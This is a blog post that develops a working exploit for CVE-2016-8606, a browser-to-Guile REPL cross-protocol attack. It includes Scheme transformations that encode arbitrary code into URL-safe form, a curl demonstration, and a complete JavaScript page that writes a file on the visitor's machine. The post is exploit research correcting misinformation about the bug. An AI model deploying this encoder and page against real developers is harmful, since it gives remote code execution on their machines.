rss home github email

Exploiting CVE-2016-8606

I saw this recently:

GNU Guile, an implementation of the Scheme language, provides a “REPL
server” which is a command prompt that developers can connect to for
live coding and debugging purposes.  The REPL server is started by the
‘--listen’ command-line option or equivalent API.

Christopher Allan Webber reported that the REPL server is vulnerable to
the HTTP inter-protocol attack as described at
<https://en.wikipedia.org/wiki/Inter-protocol_exploitation>, notably the
HTML form protocol attack described at
<https://www.jochentopf.com/hfpa/hfpa.pdf>.

This constitutes a remote code execution vulnerability for developers
running a REPL server that listens on a loopback device or private
network.  Applications that do not run a REPL server, as is usually the
case, are unaffected.

Developers can work around this vulnerability by binding the REPL server
to a Unix-domain socket, for instance by running:

  guile --listen=/some/file

A modification to the REPL server that detects attempts to exploit this
vulnerability is available upstream and will be part of Guile 2.0.13, to
be released shortly.

A cross-protocol attack from browsers to Guile Scheme repls! Exciting.

But I've seen a lot of misinformation about this. For example,

The default in Guile has been to expose a port over localhost to which
code may be passed.  The assumption for this is that only a local user
may write to localhost, so it should be safe.  Unfortunately, users
simultaneously developing Guile and operating modern browsers are
vulnerable to a combination of an html form protocol attack [1] and a
DNS rebinding attack [2].  How to combine these attacks is published in
the article "How to steal any developer's local database" [3].

In Guile's case, the general idea is that you visit some site which
presumably loads some javascript code (or tricks the developer into
pressing a button which performs a POST), and the site operator switches
the DNS from their own IP to 127.0.0.1.  Then a POST is done from the
website to 127.0.0.1 with the body containing scheme code.  This code is
then executed by the Guile interpreter on the listening port.

I'll demonstrate that this does not require DNS rebinding to work. We can just use XMLHttpRequest.

Normally CORS checks happen for XMLHttpRequest. Browsers will make a request and check if the response indicates, with Acess-Control-Allow-Origin, that the Javascript context can read it. That request includes our data! We can just pack some Guile code into the URL of a GET, and Guile will ignore everything it doesn't understand.

There's a hurdle, though: metacharacters in urls will be percent-escaped. Since Guile doesn't speak URL, we'll have to work around this. In particular, we need

(additionally, some symbols will be escaped. for example, integer->char will have its > escaped. We can just avoid these.)

So, we need to transform code to fit these rules. Naturally, I'll write the transformations in Guile.

String literals

We'll walk the tree and replace the string literal abcd with (string #\a #\b #\c):

(define (charify form)
  (cond
   [(list? form) (map charify form)]
   [(string? form) `(string ,@(string->list form))]
   [else form]))
scheme@(guile-user)> (charify '(string-join (list "abc" "def")))
$3 = (string-join (list (string #\a #\b #\c) (string #\d #\e #\f)))

Char literals

But the number sign in #\a is url-escaped as well. so we'll bind a list of the characters in ASCII, and replace each letter with an indexing into it:

We'll replace

(list #\a #\b)

with the equivalent of

(let ((ascii "..."))
  (list
    (list-ref ascii 97)
    (list-ref ascii 98)))

Ordinarily, we could just use integer->char, but > will be percent-escaped.

(define (asciify form)
  (letrec ([inner-asciify
	    (lambda (form)
	      (cond
	       [(list? form) (map inner-asciify form)]
	       [(char? form) `(list-ref ascii ,(char->integer form))]
	       [else form]))])
    `(let ([ascii (reverse (char-set-fold cons (make-list 0) char-set:ascii))])
       ,(inner-asciify form))))

Spaces

Finally, we can't have spaces. This is tricky, since we can't just remove the spaces, because for example (+ 1 2) would become (+12). But because there's no need for a space before and after parens, we can use the identity function, replacing

(+ 1 2)

with

(+ ((lambda (x) x) 1) ((lambda (x) x) 2))

and then the spaces can be removed.

(use-modules (srfi srfi-1))

(define (lambdify form)
  (cond
   [(list? form)
    (cond
     ;; don't lambdify let or letrec, but lambdify the bindings. ....
     [(member (first form) '(let letrec let*))
      `(,(first form)
	,(map
	  (lambda (binding)
	    `[,(first binding)
	      ,(lambdify (second binding))])
	  (second form))
	,@(map lambdify (drop form 2)))]
     ;; only lambdify the bodies of lambdas
     [(eq? (first form) 'lambda)
      `(lambda
	   ,(second form)
	 ,@(map lambdify (drop form 2)))]
     ;; error on quote, it's tricky to lambdify it.
     [(eq? (first form) 'quote)
      (throw 'lambidfy-quote)]
     ;; otherwise just lambdify everything
     [else  (map lambdify form)])]
   ;; everything else gets replaced with ((lambda(x)x)y)
   [else `((lambda (x) x) ,form)]))
scheme@(guile-user)> (lambdify '(+ 1 2))
$11 = (((lambda (x) x) +) ((lambda (x) x) 1) ((lambda (x) x) 2))
scheme@(guile-user)> (lambdify '(let ((a 1)) a))
$12 = (let ((a ((lambda (x) x) 1))) ((lambda (x) x) a))

Trying it out

scheme@(guile-user)> (lambdify (asciify (charify '(string-join (list "abc" "def")))))
$15 = (let ((ascii (((lambda (x) x) reverse) (((lambda (x) x) char-set-fold) ((lambda (x) x) cons) (((lambda (x) x) make-list) ((lambda (x) x) 0)) ((lambda (x) x) char-set:ascii))))) (((lambda (x) x) string-join) (((lambda (x) x) list) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 97)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 98)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 99))) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 100)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 101)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 102))))))
scheme@(guile-user)> (let ((ascii (((lambda (x) x) reverse) (((lambda (x) x) char-set-fold) ((lambda (x) x) cons) (((lambda (x) x) make-list) ((lambda (x) x) 0)) ((lambda (x) x) char-set:ascii))))) (((lambda (x) x) string-join) (((lambda (x) x) list) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 97)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 98)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 99))) (((lambda (x) x) string) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 100)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 101)) (((lambda (x) x) list-ref) ((lambda (x) x) ascii) ((lambda (x) x) 102))))))
$16 = "abc def"

and putting it all together:

(define (elide-spaces string)
  (string-filter
   (lambda (char) (not (eq? char #\ )))
   string))


(define (escape form)
  (elide-spaces
   (with-output-to-string
     (lambda ()
       (write
	(lambdify (asciify (charify form))))))))
scheme@(guile-user)> (escape '(string-join (list  "abc" "def")))
$7 = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102))))))"
scheme@(guile-user)> (let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102))))))
$8 = "abc def"

I started a Guile repl and tried this with curl:

[lizzie@empress lizzie]$ guile --listen=37146
GNU Guile 2.0.12
Copyright (C) 1995-2016 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
scheme@(guile-user)>
[lizzie@empress lizzie]$ curl "localhost:37146?=(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)string-join)(((lambda(x)x)list)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)97))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)98))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)99)))(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)100))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)102))))))"
GNU Guile 2.0.12
Copyright (C) 1995-2016 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
;;; <unknown-location>: warning: possibly unbound variable `GET'
ERROR: In procedure #<procedure 2253c40 ()>:
ERROR: In procedure module-lookup: Unbound variable: GET

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `/?='
ERROR: In procedure #<procedure 1cbfd40 ()>:
ERROR: In procedure module-lookup: Unbound variable: /?=

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
$54 = "abc def"
;;; <unknown-location>: warning: possibly unbound variable `HTTP/1.1'
ERROR: In procedure #<procedure 19ceba0 ()>:
ERROR: In procedure module-lookup: Unbound variable: HTTP/1.1

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `Host:'
ERROR: In procedure #<procedure 162c1e0 ()>:
ERROR: In procedure module-lookup: Unbound variable: Host:

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `localhost:37146'
ERROR: In procedure #<procedure 165e720 ()>:
ERROR: In procedure module-lookup: Unbound variable: localhost:37146

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `User-Agent:'
ERROR: In procedure #<procedure 16e2c20 ()>:
ERROR: In procedure module-lookup: Unbound variable: User-Agent:

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `curl/7.50.3'
ERROR: In procedure #<procedure 1769f20 ()>:
ERROR: In procedure module-lookup: Unbound variable: curl/7.50.3

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `Accept:'
ERROR: In procedure #<procedure 17c3b20 ()>:
ERROR: In procedure module-lookup: Unbound variable: Accept:

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.
;;; <unknown-location>: warning: possibly unbound variable `*/*'
ERROR: In procedure #<procedure 17ef5e0 ()>:
ERROR: In procedure module-lookup: Unbound variable: */*

Entering a new prompt.  Type `,bt' for a backtrace or `,q' to continue.

(notice '$44 = "abc def"' in the middle).

And then, something more relevant: writing to a file on the host.

scheme@(guile-user)> (escape '(with-output-to-file "note.txt" (lambda () (display ">:)\n"))))
$9 = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)with-output-to-file)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)110))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)111))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)46))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)120))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116)))(lambda()(((lambda(x)x)display)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)62))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)58))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)41))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)10)))))))"

And finally, from a browser:

<script>
var host = "http://localhost:37146";
var code = "(let((ascii(((lambda(x)x)reverse)(((lambda(x)x)char-set-fold)((lambda(x)x)cons)(((lambda(x)x)make-list)((lambda(x)x)0))((lambda(x)x)char-set:ascii)))))(((lambda(x)x)with-output-to-file)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)110))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)111))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)101))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)46))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)120))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)116)))(lambda()(((lambda(x)x)display)(((lambda(x)x)string)(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)62))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)58))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)41))(((lambda(x)x)list-ref)((lambda(x)x)ascii)((lambda(x)x)10)))))))";
window.onload = function () {
    var req = new XMLHttpRequest();
    req.open("GET", host + "/?" + code);
    req.send()
    console.log("sent!");
}
</script>

After I visit that page…

[lizzie@empress lizzie]$ cat note.txt
>:)